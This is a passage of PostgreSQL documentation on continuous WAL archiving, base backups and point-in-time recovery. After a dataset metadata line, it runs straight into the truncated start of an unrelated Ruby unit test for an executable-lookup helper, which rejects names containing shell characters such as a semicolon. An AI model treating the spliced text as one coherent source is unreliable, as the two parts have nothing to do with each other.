user that the <productname>PostgreSQL</> server is running as. Since
the series of WAL files being archived contains effectively everything
in your database, you will want to be sure that the archived data is
protected from prying eyes; for example, archive into a directory that
does not have group or world read access.
</para>
<para>
It is important that the archive command return zero exit status if and
only if it succeeds. Upon getting a zero result,
<productname>PostgreSQL</> will assume that the file has been
successfully archived, and will remove or recycle it. However, a nonzero
status tells <productname>PostgreSQL</> that the file was not archived;
it will try again periodically until it succeeds.
</para>
<para>
The archive command should generally be designed to refuse to overwrite
any pre-existing archive file. This is an important safety feature to
preserve the integrity of your archive in case of administrator error
(such as sending the output of two different servers to the same archive
directory).
</para>
<para>
It is advisable to test your proposed archive command to ensure that it
indeed does not overwrite an existing file, <emphasis>and that it returns
nonzero status in this case</>.
The example command above for Unix ensures this by including a separate
<command>test</> step. On some Unix platforms, <command>cp</> has
switches such as <option>-i</> that can be used to do the same thing
less verbosely, but you should not rely on these without verifying that
the right exit status is returned. (In particular, GNU <command>cp</>
will return status zero when <option>-i</> is used and the target file
already exists, which is <emphasis>not</> the desired behavior.)
</para>
<para>
While designing your archiving setup, consider what will happen if
the archive command fails repeatedly because some aspect requires
operator intervention or the archive runs out of space. For example, this
could occur if you write to tape without an autochanger; when the tape
fills, nothing further can be archived until the tape is swapped.
You should ensure that any error condition or request to a human operator
is reported appropriately so that the situation can be
resolved reasonably quickly. The <filename>pg_xlog/</> directory will
continue to fill with WAL segment files until the situation is resolved.
(If the file system containing <filename>pg_xlog/</> fills up,
<productname>PostgreSQL</> will do a PANIC shutdown. No committed
transactions will be lost, but the database will remain offline until
you free some space.)
</para>
<para>
The speed of the archiving command is unimportant as long as it can keep up
with the average rate at which your server generates WAL data. Normal
operation continues even if the archiving process falls a little behind.
If archiving falls significantly behind, this will increase the amount of
data that would be lost in the event of a disaster. It will also mean that
the <filename>pg_xlog/</> directory will contain large numbers of
not-yet-archived segment files, which could eventually exceed available
disk space. You are advised to monitor the archiving process to ensure that
it is working as you intend.
</para>
<para>
In writing your archive command, you should assume that the file names to
be archived can be up to 64 characters long and can contain any
combination of ASCII letters, digits, and dots. It is not necessary to
preserve the original relative path (<literal>%p</>) but it is necessary to
preserve the file name (<literal>%f</>).
</para>
<para>
Note that although WAL archiving will allow you to restore any
modifications made to the data in your <productname>PostgreSQL</> database,
it will not restore changes made to configuration files (that is,
<filename>postgresql.conf</>, <filename>pg_hba.conf</> and
<filename>pg_ident.conf</>), since those are edited manually rather
than through SQL operations.
You might wish to keep the configuration files in a location that will
be backed up by your regular file system backup procedures. See
<xref linkend="runtime-config-file-locations"> for how to relocate the
configuration files.
</para>
<para>
The archive command is only invoked on completed WAL segments. Hence,
if your server generates only little WAL traffic (or has slack periods
where it does so), there could be a long delay between the completion
of a transaction and its safe recording in archive storage. To put
a limit on how old unarchived data can be, you can set
<xref linkend="guc-archive-timeout"> to force the server to switch
to a new WAL segment file at least that often. Note that archived
files that are archived early due to a forced switch are still the same
length as completely full files. It is therefore unwise to set a very
short <varname>archive_timeout</> — it will bloat your archive
storage. <varname>archive_timeout</> settings of a minute or so are
usually reasonable.
</para>
<para>
Also, you can force a segment switch manually with
<function>pg_switch_xlog</> if you want to ensure that a
just-finished transaction is archived as soon as possible. Other utility
functions related to WAL management are listed in <xref
linkend="functions-admin-backup-table">.
</para>
<para>
When <varname>wal_level</> is <literal>minimal</> some SQL commands
are optimized to avoid WAL logging, as described in <xref
linkend="populate-pitr">. If archiving or streaming replication were
turned on during execution of one of these statements, WAL would not
contain enough information for archive recovery. (Crash recovery is
unaffected.) For this reason, <varname>wal_level</> can only be changed at
server start. However, <varname>archive_command</> can be changed with a
configuration file reload. If you wish to temporarily stop archiving,
one way to do it is to set <varname>archive_command</> to the empty
string (<literal>''</>).
This will cause WAL files to accumulate in <filename>pg_xlog/</> until a
working <varname>archive_command</> is re-established.
</para>
</sect2>
<sect2 id="backup-base-backup">
<title>Making a Base Backup</title>
<para>
The easiest way to perform a base backup is to use the
<xref linkend="app-pgbasebackup"> tool. It can create
a base backup either as regular files or as a tar archive. If more
flexibility than <xref linkend="app-pgbasebackup"> can provide is
required, you can also make a base backup using the low level API
(see <xref linkend="backup-lowlevel-base-backup">).
</para>
<para>
It is not necessary to be concerned about the amount of time it takes
to make a base backup. However, if you normally run the
server with <varname>full_page_writes</> disabled, you might notice a drop
in performance while the backup runs since <varname>full_page_writes</> is
effectively forced on during backup mode.
</para>
<para>
To make use of the backup, you will need to keep all the WAL
segment files generated during and after the file system backup.
To aid you in doing this, the base backup process
creates a <firstterm>backup history file</> that is immediately
stored into the WAL archive area. This file is named after the first
WAL segment file that you need for the file system backup.
For example, if the starting WAL file is
<literal>0000000100001234000055CD</> the backup history file will be
named something like
<literal>0000000100001234000055CD.007C9330.backup</>. (The second
part of the file name stands for an exact position within the WAL
file, and can ordinarily be ignored.) Once you have safely archived
the file system backup and the WAL segment files used during the
backup (as specified in the backup history file), all archived WAL
segments with names numerically less are no longer needed to recover
the file system backup and can be deleted. However, you should
consider keeping several backup sets to be absolutely certain that
you can recover your data.
</para>
<para>
The backup history file is just a small text file. It contains the
label string you gave to <xref linkend="app-pgbasebackup">, as well as
the starting and ending times and WAL segments of the backup.
If you used the label to identify the associated dump file,
then the archived history file is enough to tell you which dump file to
restore.
</para>
<para>
Since you have to keep around all the archived WAL files back to your
last base backup, the interval between base backups should usually be
chosen based on how much storage you want to expend on archived WAL
files. You should also consider how long you are prepared to spend
recovering, if recovery should be necessary — the system will have to
replay all those WAL segments, and that could take awhile if it has
been a long time since the last base backup.
</para>
</sect2>
<sect2 id="backup-lowlevel-base-backup">
<title>Making a Base Backup Using the Low Level API</title>
<para>
The procedure for making a base backup using the low level
APIs contains a few more steps than
the <xref linkend="app-pgbasebackup"> method, but is relatively
simple. It is very important that these steps are executed in
sequence, and that the success of a step is verified before
proceeding to the next step.
</para>
<para>
Low level base backups can be made in a non-exclusive or an exclusive
way. The non-exclusive method is recommended and the exclusive one is
deprecated and will eventually be removed.
</para>
<sect3 id="backup-lowlevel-base-backup-nonexclusive">
<title>Making a non-exclusive low level backup</title>
<para>
A non-exclusive low level backup is one that allows other
concurrent backups to be running (both those started using
the same backup API and those started using
<xref linkend="app-pgbasebackup">).
</para>
<para>
<orderedlist>
<listitem>
<para>
Ensure that WAL archiving is enabled and working.
</para>
</listitem>
<listitem>
<para>
Connect to the server (it does not matter which database) as a user with
rights to run pg_start_backup (superuser, or a user who has been granted
EXECUTE on the function) and issue the command:
<programlisting>
SELECT pg_start_backup('label', false, false);
</programlisting>
where <literal>label</> is any string you want to use to uniquely
identify this backup operation. The connection
calling <function>pg_start_backup</> must be maintained until the end of
the backup, or the backup will be automatically aborted.
</para>
<para>
By default, <function>pg_start_backup</> can take a long time to finish.
This is because it performs a checkpoint, and the I/O
required for the checkpoint will be spread out over a significant
period of time, by default half your inter-checkpoint interval
(see the configuration parameter
<xref linkend="guc-checkpoint-completion-target">). This is
usually what you want, because it minimizes the impact on query
processing. If you want to start the backup as soon as
possible, change the second parameter to <literal>true</>, which will
issue an immediate checkpoint using as much I/O as available.
</para>
<para>
The third parameter being <literal>false</> tells
<function>pg_start_backup</> to initiate a non-exclusive base backup.
</para>
</listitem>
<listitem>
<para>
Perform the backup, using any convenient file-system-backup tool
such as <application>tar</> or <application>cpio</> (not
<application>pg_dump</application> or
<application>pg_dumpall</application>). It is neither
necessary nor desirable to stop normal operation of the database
while you do this. See
<xref linkend="backup-lowlevel-base-backup-data"> for things to
consider during this backup.
</para>
</listitem>
<listitem>
<para>
In the same connection as before, issue the command:
<programlisting>
SELECT * FROM pg_stop_backup(false);
</programlisting>
This terminates backup mode. On a primary, it also performs an automatic
switch to the next WAL segment. On a standby, it is not possible to
automatically switch WAL segments, so you may wish to run
<function>pg_switch_xlog</function> on the primary to perform a manual
switch. The reason for the switch is to arrange for
the last WAL segment file written during the backup interval to be
ready to archive.
</para>
<para>
The <function>pg_stop_backup</> will return one row with three
values. The second of these fields should be written to a file named
<filename>backup_label</> in the root directory of the backup. The
third field should be written to a file named
<filename>tablespace_map</> unless the field is empty. These files are
vital to the backup working, and must be written without modification.
</para>
</listitem>
<listitem>
<para>
Once the WAL segment files active during the backup are archived, you are
done. The file identified by <function>pg_stop_backup</>'s first return
value is the last segment that is required to form a complete set of
backup files. On a primary, if <varname>archive_mode</> is enabled,
<function>pg_stop_backup</> does not return until the last segment has
been archived.
Archiving of these files happens automatically since you have
already configured <varname>archive_command</>. In most cases this
happens quickly, but you are advised to monitor your archive
system to ensure there are no delays.
If the archive process has fallen behind
because of failures of the archive command, it will keep retrying
until the archive succeeds and the backup is complete.
If you wish to place a time limit on the execution of
<function>pg_stop_backup</>, set an appropriate
<varname>statement_timeout</varname> value, but make note that if
<function>pg_stop_backup</> terminates because of this your backup
may not be valid.
</para>
<para>
Note that on a standby <function>pg_stop_backup</> does not wait for
WAL segments to be archived so the backup process must ensure that all WAL
segments required for the backup are successfully archived.
</para>
</listitem>
</orderedlist>
</para>
</sect3>
<sect3 id="backup-lowlevel-base-backup-exclusive">
<title>Making an exclusive low level backup</title>
<para>
The process for an exclusive backup is mostly the same as for a
non-exclusive one, but it differs in a few key steps. This type of backup
can only be taken on a primary and does not allow concurrent backups.
Prior to <productname>PostgreSQL</> 9.6, this
was the only low-level method available, but it is now recommended that
all users upgrade their scripts to use non-exclusive backups if possible.
</para>
<para>
<orderedlist>
<listitem>
<para>
Ensure that WAL archiving is enabled and working.
</para>
</listitem>
<listitem>
<para>
Connect to the server (it does not matter which database) as a user with
rights to run pg_start_backup (superuser, or a user who has been granted
EXECUTE on the function) and issue the command:
<programlisting>
SELECT pg_start_backup('label');
</programlisting>
where <literal>label</> is any string you want to use to uniquely
identify this backup operation.
<function>pg_start_backup</> creates a <firstterm>backup label</> file,
called <filename>backup_label</>, in the cluster directory with
information about your backup, including the start time and label string.
The function also creates a <firstterm>tablespace map</> file,
called <filename>tablespace_map</>, in the cluster directory with
information about tablespace symbolic links in <filename>pg_tblspc/</> if
one or more such link is present. Both files are critical to the
integrity of the backup, should you need to restore from it.
</para>
<para>
By default, <function>pg_start_backup</> can take a long time to finish.
This is because it performs a checkpoint, and the I/O
required for the checkpoint will be spread out over a significant
period of time, by default half your inter-checkpoint interval
(see the configuration parameter
<xref linkend="guc-checkpoint-completion-target">). This is
usually what you want, because it minimizes the impact on query
processing. If you want to start the backup as soon as
possible, use:
<programlisting>
SELECT pg_start_backup('label', true);
</programlisting>
This forces the checkpoint to be done as quickly as possible.
</para>
</listitem>
<listitem>
<para>
Perform the backup, using any convenient file-system-backup tool
such as <application>tar</> or <application>cpio</> (not
<application>pg_dump</application> or
<application>pg_dumpall</application>). It is neither
necessary nor desirable to stop normal operation of the database
while you do this. See
<xref linkend="backup-lowlevel-base-backup-data"> for things to
consider during this backup.
</para>
<para>
Note that if the server crashes during the backup it may not be
possible to restart until the <literal>backup_label</> file has been
manually deleted from the <envar>PGDATA</envar> directory.
</para>
</listitem>
<listitem>
<para>
Again connect to the database as a user with rights to run
pg_stop_backup (superuser, or a user who has been granted EXECUTE on
the function), and issue the command:
<programlisting>
SELECT pg_stop_backup();
</programlisting>
This terminates the backup mode and performs an automatic switch to
the next WAL segment. The reason for the switch is to arrange for
the last WAL segment file written during the backup interval to be
ready to archive.
</para>
</listitem>
<listitem>
<para>
Once the WAL segment files active during the backup are archived, you are
done. The file identified by <function>pg_stop_backup</>'s result is
the last segment that is required to form a complete set of backup files.
If <varname>archive_mode</> is enabled,
<function>pg_stop_backup</> does not return until the last segment has
been archived.
Archiving of these files happens automatically since you have
already configured <varname>archive_command</>. In most cases this
happens quickly, but you are advised to monitor your archive
system to ensure there are no delays.
If the archive process has fallen behind
because of failures of the archive command, it will keep retrying
until the archive succeeds and the backup is complete.
If you wish to place a time limit on the execution of
<function>pg_stop_backup</>, set an appropriate
<varname>statement_timeout</varname> value, but make note that if
<function>pg_stop_backup</> terminates because of this your backup
may not be valid.
</para>
</listitem>
</orderedlist>
</para>
</sect3>
<sect3 id="backup-lowlevel-base-backup-data">
<title>Backing up the data directory</title>
<para>
Some file system backup tools emit warnings or errors
if the files they are trying to copy change while the copy proceeds.
When taking a base backup of an active database, this situation is normal
and not an error. However, you need to ensure that you can distinguish
complaints of this sort from real errors. For example, some versions
of <application>rsync</> return a separate exit code for
<quote>vanished source files</>, and you can write a driver script to
accept this exit code as a non-error case. Also, some versions of
GNU <application>tar</> return an error code indistinguishable from
a fatal error if a file was truncated while <application>tar</> was
copying it. Fortunately, GNU <application>tar</> versions 1.16 and
later exit with 1 if a file was changed during the backup,
and 2 for other errors. With GNU <application>tar</> version 1.23 and
later, you can use the warning options <literal>--warning=no-file-changed
--warning=no-file-removed</literal> to hide the related warning messages.
</para>
<para>
Be certain that your backup includes all of the files under
the database cluster directory (e.g., <filename>/usr/local/pgsql/data</>).
If you are using tablespaces that do not reside underneath this directory,
be careful to include them as well (and be sure that your backup
archives symbolic links as links, otherwise the restore will corrupt
your tablespaces).
</para>
<para>
You should, however, omit from the backup the files within the
cluster's <filename>pg_xlog/</> subdirectory. This
slight adjustment is worthwhile because it reduces the risk
of mistakes when restoring. This is easy to arrange if
<filename>pg_xlog/</> is a symbolic link pointing to someplace outside
the cluster directory, which is a common setup anyway for performance
reasons. You might also want to exclude <filename>postmaster.pid</>
and <filename>postmaster.opts</>, which record information
about the running <application>postmaster</>, not about the
<application>postmaster</> which will eventually use this backup.
(These files can confuse <application>pg_ctl</>.)
</para>
<para>
It is often a good idea to also omit from the backup the files
within the cluster's <filename>pg_replslot/</> directory, so that
replication slots that exist on the master do not become part of the
backup. Otherwise, the subsequent use of the backup to create a standby
may result in indefinite retention of WAL files on the standby, and
possibly bloat on the master if hot standby feedback is enabled, because
the clients that are using those replication slots will still be connecting
to and updating the slots on the master, not the standby. Even if the
backup is only intended for use in creating a new master, copying the
replication slots isn't expected to be particularly useful, since the
contents of those slots will likely be badly out of date by the time
the new master comes on line.
</para>
<para>
The backup label
file includes the label string you gave to <function>pg_start_backup</>,
as well as the time at which <function>pg_start_backup</> was run, and
the name of the starting WAL file. In case of confusion it is therefore
possible to look inside a backup file and determine exactly which
backup session the dump file came from. The tablespace map file includes
the symbolic link names as they exist in the directory
<filename>pg_tblspc/</> and the full path of each symbolic link.
These files are not merely for your information; their presence and
contents are critical to the proper operation of the system's recovery
process.
</para>
<para>
It is also possible to make a backup while the server is
stopped. In this case, you obviously cannot use
<function>pg_start_backup</> or <function>pg_stop_backup</>, and
you will therefore be left to your own devices to keep track of which
backup is which and how far back the associated WAL files go.
It is generally better to follow the continuous archiving procedure above.
</para>
</sect3>
</sect2>
<sect2 id="backup-pitr-recovery">
<title>Recovering Using a Continuous Archive Backup</title>
<para>
Okay, the worst has happened and you need to recover from your backup.
Here is the procedure:
<orderedlist>
<listitem>
<para>
Stop the server, if it's running.
</para>
</listitem>
<listitem>
<para>
If you have the space to do so,
copy the whole cluster data directory and any tablespaces to a temporary
location in case you need them later. Note that this precaution will
require that you have enough free space on your system to hold two
copies of your existing database. If you do not have enough space,
you should at least save the contents of the cluster's <filename>pg_xlog</>
subdirectory, as it might contain logs which
were not archived before the system went down.
</para>
</listitem>
<listitem>
<para>
Remove all existing files and subdirectories under the cluster data
directory and under the root directories of any tablespaces you are using.
</para>
</listitem>
<listitem>
<para>
Restore the database files from your file system backup. Be sure that they
are restored with the right ownership (the database system user, not
<literal>root</>!) and with the right permissions. If you are using
tablespaces,
you should verify that the symbolic links in <filename>pg_tblspc/</>
were correctly restored.
</para>
</listitem>
<listitem>
<para>
Remove any files present in <filename>pg_xlog/</>; these came from the
file system backup and are therefore probably obsolete rather than current.
If you didn't archive <filename>pg_xlog/</> at all, then recreate
it with proper permissions,
being careful to ensure that you re-establish it as a symbolic link
if you had it set up that way before.
</para>
</listitem>
<listitem>
<para>
If you have unarchived WAL segment files that you saved in step 2,
copy them into <filename>pg_xlog/</>. (It is best to copy them,
not move them, so you still have the unmodified files if a
problem occurs and you have to start over.)
</para>
</listitem>
<listitem>
<para>
Create a recovery command file <filename>recovery.conf</> in the cluster
data directory (see <xref linkend="recovery-config">). You might
also want to temporarily modify <filename>pg_hba.conf</> to prevent
ordinary users from connecting until you are sure the recovery was successful.
</para>
</listitem>
<listitem>
<para>
Start the server. The server will go into recovery mode and
proceed to read through the archived WAL files it needs. Should the
recovery be terminated because of an external error, the server can
simply be restarted and it will continue recovery. Upon completion
of the recovery process, the server will rename
<filename>recovery.conf</> to <filename>recovery.done</> (to prevent
accidentally re-entering recovery mode later) and then
commence normal database operations.
</para>
</listitem>
<listitem>
<para>
Inspect the contents of the database to ensure you have recovered to
the desired state. If not, return to step 1. If all is well,
allow your users to connect by restoring <filename>pg_hba.conf</> to normal.
</para>
</listitem>
</orderedlist>
</para>
<para>
The key part of all this is to set up a recovery configuration file that
describes how you want to recover and how far the recovery should
run. You can use <filename>recovery.conf.sample</> (normally
located in the installation's <filename>share/</> directory) as a
prototype. The one thing that you absolutely must specify in
<filename>recovery.conf</> is the <varname>restore_command</>,
which tells <productname>PostgreSQL</> how to retrieve archived
WAL file segments. Like the <varname>archive_command</>, this is
a shell command string. It can contain <literal>%f</>, which is
replaced by the name of the desired log file, and <literal>%p</>,
which is replaced by the path name to copy the log file to.
(The path name is relative to the current working directory,
i.e., the cluster's data directory.)
Write <literal>%%</> if you need to embed an actual <literal>%</>
character in the command. The simplest useful command is
something like:
<programlisting>
restore_command = 'cp /mnt/server/archivedir/%f %p'
</programlisting>
which will copy previously archived WAL segments from the directory
<filename>/mnt/server/archivedir</>. Of course, you can use something
much more complicated, perhaps even a shell script that requests the
operator to mount an appropriate tape.
</para>
<para>
It is important that the command return nonzero exit status on failure.
The command <emphasis>will</> be called requesting files that are not
present in the archive; it must return nonzero when so asked. This is not
an error condition. An exception is that if the command was terminated by
a signal (other than <systemitem>SIGTERM</systemitem>, which is used as
part of a database server shutdown) or an error by the shell (such as
command not found), then recovery will abort and the server will not start
up.
</para>
<para>
Not all of the requested files will be WAL segment
files; you should also expect requests for files with a suffix of
<literal>.backup</> or <literal>.history</>. Also be aware that
the base name of the <literal>%p</> path will be different from
<literal>%f</>; do not expect them to be interchangeable.
</para>
<para>
WAL segments that cannot be found in the archive will be sought in
<filename>pg_xlog/</>; this allows use of recent un-archived segments.
However, segments that are available from the archive will be used in
preference to files in <filename>pg_xlog/</>.
</para>
<para>
Normally, recovery will proceed through all available WAL segments,
thereby restoring the database to the current point in time (or as
close as possible given the available WAL segments). Therefore, a normal
recovery will end with a <quote>file not found</> message, the exact text
of the error message depending upon your choice of
<varname>restore_command</>. You may also see an error message
at the start of recovery for a file named something like
<filename>00000001.history</>. This is also normal and does not
indicate a problem in simple recovery situations; see
<xref linkend="backup-timelines"> for discussion.
</para>
<para>
If you want to recover to some previous point in time (say, right before
the junior DBA dropped your main transaction table), just specify the
required <link linkend="recovery-target-settings">stopping point</link> in <filename>recovery.conf</>. You can specify
the stop point, known as the <quote>recovery target</>, either by
date/time, named restore point or by completion of a specific transaction
ID. As of this writing only the date/time and named restore point options
are very usable, since there are no tools to help you identify with any
accuracy which transaction ID to use.
</para>
<note>
<para>
The stop point must be after the ending time of the base backup, i.e.,
the end time of <function>pg_stop_backup</>. You cannot use a base backup
to recover to a time when that backup was in progress. (To
recover to such a time, you must go back to your previous base backup
and roll forward from there.)
</para>
</note>
<para>
If recovery finds corrupted WAL data, recovery will
halt at that point and the server will not start. In such a case the
recovery process could be re-run from the beginning, specifying a
<quote>recovery target</> before the point of corruption so that recovery
can complete normally.
If recovery fails for an external reason, such as a system crash or
if the WAL archive has become inaccessible, then the recovery can simply
be restarted and it will restart almost from where it failed.
Recovery restart works much like checkpointing in normal operation:
the server periodically forces all its state to disk, and then updates
the <filename>pg_control</> file to indicate that the already-processed
WAL data need not be scanned again.
</para>
</sect2>
<sect2 id="backup-timelines">
<title>Timelines</title>
<indexterm zone="backup">
<primary>timelines</primary>
</indexterm>
<para>
The ability to restore the database to a previous point in time creates
some complexities that are akin to science-fiction stories about time
travel and parallel universes. For example, in the original history of the database,
suppose you dropped a critical table at 5:15PM on Tuesday evening, but
didn't realize your mistake until Wednesday noon.
Unfazed, you get out your backup, restore to the point-in-time 5:14PM
Tuesday evening, and are up and running. In <emphasis>this</> history of
the database universe, you never dropped the table. But suppose
you later realize this wasn't such a great idea, and would like
to return to sometime Wednesday morning in the original history.
You won't be able
to if, while your database was up-and-running, it overwrote some of the
WAL segment files that led up to the time you now wish you
could get back to. Thus, to avoid this, you need to distinguish the series of
WAL records generated after you've done a point-in-time recovery from
those that were generated in the original database history.
</para>
<para>
To deal with this problem, <productname>PostgreSQL</> has a notion
of <firstterm>timelines</>. Whenever an archive recovery completes,
a new timeline is created to identify the series of WAL records
generated after that recovery. The timeline
ID number is part of WAL segment file names so a new timeline does
not overwrite the WAL data generated by previous timelines. It is
in fact possible to archive many different timelines. While that might
seem like a useless feature, it's often a lifesaver. Consider the
situation where you aren't quite sure what point-in-time to recover to,
and so have to do several point-in-time recoveries by trial and error
until you find the best place to branch off from the old history. Without
timelines this process would soon generate an unmanageable mess. With
timelines, you can recover to <emphasis>any</> prior state, including
states in timeline branches that you abandoned earlier.
</para>
<para>
Every time a new timeline is created, <productname>PostgreSQL</> creates
a <quote>timeline history</> file that shows which timeline it branched
off from and when. These history files are necessary to allow the system
to pick the right WAL segment files when recovering from an archive that
contains multiple timelines. Therefore, they are archived into the WAL
archive area just like WAL segment files. The history files are just
small text files, so it's cheap and appropriate to keep them around
indefinitely (unlike the segment files which are large). You can, if
you like, add comments to a history file to record your own notes about
how and why this particular timeline was created. Such comments will be
especially valuable when you have a thicket of different timelines as
a result of experimentation.
</para>
<para>
The default behavior of recovery is to recover along the same timeline
that was current when the base backup was taken. If you wish to recover
into some child timeline (that is, you want to return to some state that
was itself generated after a recovery attempt), you need to specify the
target timeline ID in <filename>recovery.conf</>. You cannot recover into
timelines that branched off earlier than the base backup.
</para>
</sect2>
<sect2 id="backup-tips">
<title>Tips and Examples</title>
<para>
Some tips for configuring continuous archiving are given here.
</para>
<sect3 id="backup-standalone">
<title>Standalone Hot Backups</title>
<para>
It is possible to use <productname>PostgreSQL</>'s backup facilities to
produce standalone hot backups. These are backups that cannot be used
for point-in-time recovery, yet are typically much faster to backup and
restore than <application>pg_dump</> dumps. (They are also much larger
than <application>pg_dump</> dumps, so in some cases the speed advantage
might be negated.)
</para>
<para>
As with base backups, the easiest way to produce a standalone
hot backup is to use the <xref linkend="app-pgbasebackup">
tool. If you include the <literal>-X</> parameter when calling
it, all the transaction log required to use the backup will be
included in the backup automatically, and no special action is
required to restore the backup.
</para>
<para>
If more flexibility in copying the backup files is needed, a lower
level process can be used for standalone hot backups as well.
To prepare for low level standalone hot backups, set <varname>wal_level</> to
<literal>replica</> or higher, <varname>archive_mode</> to
<literal>on</>, and set up an <varname>archive_command</> that performs
archiving only when a <emphasis>switch file</> exists. For example:
<programlisting>
archive_command = 'test ! -f /var/lib/pgsql/backup_in_progress || (test ! -f /var/lib/pgsql/archive/%f && cp %p /var/lib/pgsql/archive/%f)'
</programlisting>
This command will perform archiving when
<filename>/var/lib/pgsql/backup_in_progress</> exists, and otherwise
silently return zero exit status (allowing <productname>PostgreSQL</>
to recycle the unwanted WAL file).
</para>
<para>
With this preparation, a backup can be taken using a script like the
following:
<programlisting>
touch /var/lib/pgsql/backup_in_progress
psql -c "select pg_start_backup('hot_backup');"
tar -cf /var/lib/pgsql/backup.tar /var/lib/pgsql/data/
psql -c "select pg_stop_backup();"
rm /var/lib/pgsql/backup_in_progress
tar -rf /var/lib/pgsql/backup.tar /var/lib/pgsql/archive/
</programlisting>
The switch file <filename>/var/lib/pgsql/backup_in_progress</> is
created first, enabling archiving of completed WAL files to occur.
After the backup the switch file is removed. Archived WAL files are
then added to the backup so that both base backup and all required
WAL files are part of the same <application>tar</> file.
Please remember to add error handling to your backup scripts.
</para>
</sect3>
<sect3 id="compressed-archive-logs">
<title>Compressed Archive Logs</title>
<para>
If archive storage size is a concern, you can use
<application>gzip</application> to compress the archive files:
<programlisting>
archive_command = 'gzip < %p > /var/lib/pgsql/archive/%f'
</programlisting>
You will then need to use <application>gunzip</> during recovery:
<programlisting>
restore_command = 'gunzip < /mnt/server/archivedir/%f > %p'
</programlisting>
</para>
</sect3>
<sect3 id="backup-scripts">
<title><varname>archive_command</varname> Scripts</title>
<para>
Many people choose to use scripts to define their
<varname>archive_command</varname>, so that their
<filename>postgresql.conf</> entry looks very simple:
<programlisting>
archive_command = 'local_backup_script.sh "%p" "%f"'
</programlisting>
Using a separate script file is advisable any time you want to use
more than a single command in the archiving process.
This allows all complexity to be managed within the script, which
can be written in a popular scripting language such as
<application>bash</> or <application>perl</>.
</para>
<para>
Examples of requirements that might be solved within a script include:
<itemizedlist>
<listitem>
<para>
Copying data to secure off-site data storage
</para>
</listitem>
<listitem>
<para>
Batching WAL files so that they are transferred every three hours,
rather than one at a time
</para>
</listitem>
<listitem>
<para>
Interfacing with other backup and recovery software
</para>
</listitem>
<listitem>
<para>
Interfacing with monitoring software to report errors
</para>
</listitem>
</itemizedlist>
</para>
<tip>
<para>
When using an <varname>archive_command</varname> script, it's desirable
to enable <xref linkend="guc-logging-collector">.
Any messages written to <systemitem>stderr</> from the script will then
appear in the database server log, allowing complex configurations to
be diagnosed easily if they fail.
</para>
</tip>
</sect3>
</sect2>
<sect2 id="continuous-archiving-caveats">
<title>Caveats</title>
<para>
At this writing, there are several limitations of the continuous archiving
technique. These will probably be fixed in future releases:
<itemizedlist>
<listitem>
<para>
Operations on hash indexes are not presently WAL-logged, so
replay will not update these indexes. This will mean that any new inserts
will be ignored by the index, updated rows will apparently disappear and
deleted rows will still retain pointers. In other words, if you modify a
table with a hash index on it then you will get incorrect query results
on a standby server. When recovery completes it is recommended that you
manually <xref linkend="sql-reindex">
each such index after completing a recovery operation.
</para>
</listitem>
<listitem>
<para>
If a <xref linkend="sql-createdatabase">
command is executed while a base backup is being taken, and then
the template database that the <command>CREATE DATABASE</> copied
is modified while the base backup is still in progress, it is
possible that recovery will cause those modifications to be
propagated into the created database as well. This is of course
undesirable. To avoid this risk, it is best not to modify any
template databases while taking a base backup.
</para>
</listitem>
<listitem>
<para>
<xref linkend="sql-createtablespace">
commands are WAL-logged with the literal absolute path, and will
therefore be replayed as tablespace creations with the same
absolute path. This might be undesirable if the log is being
replayed on a different machine. It can be dangerous even if the
log is being replayed on the same machine, but into a new data
directory: the replay will still overwrite the contents of the
original tablespace. To avoid potential gotchas of this sort,
the best practice is to take a new base backup after creating or
dropping tablespaces.
</para>
</listitem>
</itemizedlist>
</para>
<para>
It should also be noted that the default <acronym>WAL</acronym>
format is fairly bulky since it includes many disk page snapshots.
These page snapshots are designed to support crash recovery, since
we might need to fix partially-written disk pages. Depending on
your system hardware and software, the risk of partial writes might
be small enough to ignore, in which case you can significantly
reduce the total volume of archived logs by turning off page
snapshots using the <xref linkend="guc-full-page-writes">
parameter. (Read the notes and warnings in <xref linkend="wal">
before you do so.) Turning off page snapshots does not prevent
use of the logs for PITR operations. An area for future
development is to compress archived WAL data by removing
unnecessary page copies even when <varname>full_page_writes</> is
on. In the meantime, administrators might wish to reduce the number
of page snapshots included in WAL by increasing the checkpoint
interval parameters as much as feasible.
</para>
</sect2>
</sect1>
</chapter>
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env ruby18
require 'pathname'
require 'shellwords'
require 'tmpdir'
require 'test/unit'
def __dir__
File.dirname(__FILE__)
end
require "#{__dir__}/../lib/executable"
class TestExecutableFind < Test::Unit::TestCase
def setup
Dir.chdir("#{__dir__}/fixtures/sample_project")
# Set $HOME to a directory controlled by us to make sure `$HOME/.rvm` does
# not exist even if the user running these tests has rvm actually installed.
# Also, clear out all `TM_*` env vars so they won’t interfere with our
# tests.
@original_env = ENV.to_hash
ENV['HOME'] = "#{__dir__}/fixtures/sample_project"
ENV.delete_if{ |name, _value| name.start_with?('TM_') }
@rvm_prefix = Pathname.new("#{__dir__}/../bin/rvm_wrapper").realpath
end
def teardown
ENV.replace(@original_env)
end
def with_env(env_vars)
original_env = ENV.to_hash
ENV.update(env_vars)
yield
ensure
ENV.replace(original_env)
end
# Set $HOME to a directory containing `.rvm/bin/rvm` (because this is what
# `Executable` checks to determine if RVM is installed)
def with_rvm_installed
with_env('HOME' => "#{__dir__}/fixtures/fake_rvm_home") do
yield
end
end
def test_validate_name
assert_raises(ArgumentError){ Executable.find('foo bar') }
assert_raises(ArgumentError){ Executable.find('') }
assert_raises(ArgumentError){ Executable.find(nil) }
assert_raises(ArgumentError){ Executable.find('special;characters') }
assert_raises(ArgumentError){ Executable.find('not\ ok') }
assert_raises(ArgumentError){ Executable.find('"quoted"') }
end
def test_use_env_var
rspec_path = "#{__dir__}/fixtures/sample_project/other/rspec"
with_env('TM_RSPEC' => rspec_path.shellescape) do
assert_equal [rspec_path], Executable.find('rspec')
end
end
# Even if RVM is installed, if an env var is set for the executable it should
# be used unchanged (i.e. it should not be prefixed with the rvm wrapper
# script.)
def test_use_env_var_with_rvm
rspec_path = "#{__dir__}/fixtures/sample_project/other/rspec"
with_rvm_installed do
with_env('TM_RSPEC' => rspec_path.shellescape) do
assert_equal [rspec_path], Executable.find('rspec')
end
end
end
def test_use_custom_env_var
rspec_path = "#{__dir__}/fixtures/sample_project/other/rspec"
with_env('TM_RSPEC' => rspec_path.shellescape) do
assert_equal [rspec_path], Executable.find('rspec-special', 'TM_RSPEC')
end
end
# Setting TM_FOO to eg. `bundle exec foo` should be possible, too.
def test_use_env_var_with_executable_with_spaces
